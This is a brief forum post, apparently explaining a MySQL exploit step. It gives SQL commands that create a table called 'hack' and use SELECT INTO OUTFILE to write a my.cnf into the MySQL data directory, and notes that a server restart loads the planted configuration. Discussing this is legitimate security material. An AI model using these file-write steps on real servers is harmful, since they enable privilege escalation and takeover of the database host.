Originally Posted by erb5
- The data directory is defined EITHER by the variable datadir in the [mysqld] section of my.cnf OR when MySQL was built. In our case the datadir would appear to default to /var/lib/mysql/.
mysql>CREATE DATABASE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
We create a my.cnf in /var/lib/mysql/roottext if we do not specify /path/to/mysql/datadir/
- When you restarted mysqld or restarted your VPS, MySQL reloaded using the new configuration in my.cnf, so you've fulfilled that criteria